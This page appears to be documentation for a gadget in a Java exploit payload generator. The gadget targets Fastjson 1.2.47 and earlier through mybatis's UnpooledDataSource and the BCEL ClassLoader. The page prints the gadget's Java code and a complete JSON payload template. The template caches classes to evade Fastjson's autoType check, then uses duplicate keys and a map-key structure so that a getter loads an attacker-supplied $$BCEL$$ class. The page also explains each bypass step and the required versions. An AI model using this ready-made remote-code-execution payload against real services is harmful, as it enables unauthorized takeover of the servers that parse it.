Skip to content

Latest commit

 

History

History
68 lines (59 loc) · 3.76 KB

File metadata and controls

68 lines (59 loc) · 3.76 KB

mybatis BasicDataSource 1.2.47(FastjsonBasicDataSourcemybatis)

  • 类别:fastjson 别名:— 优先级:—
  • 作者:—
  • 依赖bcelmybatisfastjson <= 1.2.47

作用

FastjsonBasicDataSource 的 mybatis 变体:当目标环境没有 dbcp、却引入了 mybatis 时,改用 mybatis 自带的 org.apache.ibatis.datasource.unpooled.UnpooledDataSource 作为「带 driverClassLoader + driver getter」的载体,配合 BCEL ClassLoader 加载任意字节码实现 RCE。产物同样是一段供 Fastjson 解析的 JSON 文本。

链接标签

  • 入口 tagsFastjsonPayload —— 承接 Fastjson payload 入口。
  • 衔接 nextTagsBCEL_Expr —— 之后接产出 BCEL 字节码类名字符串的 gadget(BcelConvert)。
  • excludes:无。

源码剖析

本类无 @Param,逻辑极简:单一模板 + 一次 String.format

public Object getObject(String bcel) {
    return String.format(template, bcel);
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject((String)chain.doCreate(context));
}

invoke 取内层 gadget 产出的 BCEL 类名字符串,直接嵌入 %s。模板(fastjson <= 1.2.47 通用绕过写法):

{
    "x": {
        "xxx": { "@type": "java.lang.Class",
                 "val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource" },   // 预热进 mappings 缓存
        "c":   { "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource" },
        "www": { "@type": "java.lang.Class",
                 "val": "com.sun.org.apache.bcel.internal.util.ClassLoader" },          // 预热 BCEL ClassLoader
        {
            "@type": "com.alibaba.fastjson.JSONObject",
            "c": { "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource" },
            "c": {
                "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
                "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" },
                "driver": "%s"                                                          // $$BCEL$$ 恶意类名
            }
        }:{}
    }
}

关键点:

  • 先用两个 java.lang.ClassvalUnpooledDataSource 与 BCEL ClassLoader 写入 Fastjson 的 mappings 白名单缓存,规避 checkAutoType
  • 把配置好的 UnpooledDataSource 作为外层 JSONObject(Map)的 key 放置({...}:{} 结构),序列化/toString 阶段触发其 getter。
  • UnpooledDataSource.getDriver 系逻辑中 Resources.classForName(driver, driverClassLoader) 用 BCEL ClassLoader 解码 $$BCEL$$ 类名并 defineClass,实例化恶意类触发代码执行。
  • 模板里重复的 "c" key 属刻意构造,用于绕过解析顺序 / 触发目标 setter 后再触发 getter。

参数(@Param)

本类无 @Param。BCEL 类名由链上游(nextTags=BCEL_Expr 的 gadget)注入,fastjson 版本固定按 1.2.47 通用模板。

适用版本与原理要点

  • 适用 fastjson <= 1.2.47
  • 依赖目标 classpath 存在 mybatis(提供 UnpooledDataSource)与 bcel
  • 与 dbcp 版同理,BCEL ClassLoader 于 JDK 8u251 被移除,需 JDK 8 < 8u251
  • 纯文本 JSON payload,由目标 Fastjson 反序列化点触发。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。

关联